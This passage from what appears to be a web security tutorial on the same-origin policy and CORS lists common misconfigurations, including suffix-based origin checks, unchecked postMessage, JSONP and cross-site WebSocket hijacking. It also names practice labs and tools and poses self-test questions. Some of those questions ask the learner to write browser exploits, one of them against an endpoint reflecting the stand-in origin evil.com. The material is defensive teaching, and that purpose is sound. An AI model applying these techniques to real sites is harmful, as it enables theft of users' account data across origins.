endsWith("bank.com")matchesevilbank.com. Only exact full-origin matches are safe. postMessagewithout an origin check on receive, or sending sensitive data withtargetOrigin: "*". Both leak/inject cross-origin.- Leaving JSONP endpoints alive. They leak data cross-origin by design and often reflect the callback into script. Delete them.
- WebSocket auth by cookie only, no
Origincheck. → Cross-Site WebSocket Hijacking. - Confusing origin and site.
app.x.comandapi.x.comare the same site but different origins; CORS still applies between them. - Assuming
ACAO: *is always dangerous. It's fine for truly public, non-credentialed data; the danger is only*-thinking applied to authenticated endpoints.
Part 16: Practice Labs & Resources
- PortSwigger Web Security Academy — the CORS topic has the canonical labs: basic
origin-reflection with credentials,
null-origin trust, and trusted-insecure-subdomain chaining (XSS on an allowlisted subdomain → steal via CORS). The Clickjacking and CSRF topics reinforce the "what SOP does not stop" boundary. WebSockets topic covers CSWSH. - OWASP Juice Shop — has CORS and postMessage-flavored challenges to hunt end to end with Burp.
- TryHackMe — Cross-Site Scripting and OWASP Top 10 rooms exercise the SOP/CORS/CSP interplay; the Web Application Security path covers CORS misconfig.
- Your own lab — the Flask
corsapi.pyfrom Part 8: toggle between origin-reflection and the exact-match allowlist and re-run the curl test and the browser exploit to see the boundary move. - Tooling: Burp Suite (Repeater to fuzz the
Originheader; the CORS* scanner checks), the browser devtools Console/Network tabs (read the exact CORS error and which header was missing), andcurl -H "Origin: ..."for headless confirmation.
Practice questions / mini-labs to self-test:
https://a.example.com:443andhttps://a.example.com— same origin or not, and why? Now change the second tohttp://a.example.com— what breaks and which SOP field caused it?- An API responds
Access-Control-Allow-Origin: https://evil.comwhen you send thatOrigin, withAllow-Credentials: true. Write the browser exploit that steals the victim's account data and name the exact server fix. - Explain precisely why adding an
X-CSRF: 1header makes a cross-sitefetchsafer, referring to simple vs preflight requests. - A
messageevent listener doesdocument.getElementById('out').innerHTML = e.data. Show the attacker page that exploits it and the one-line fix. - Your teammate says "we enabled CORS, so the endpoint is now secure against unauthorized access." Explain why that sentence is wrong in two different ways.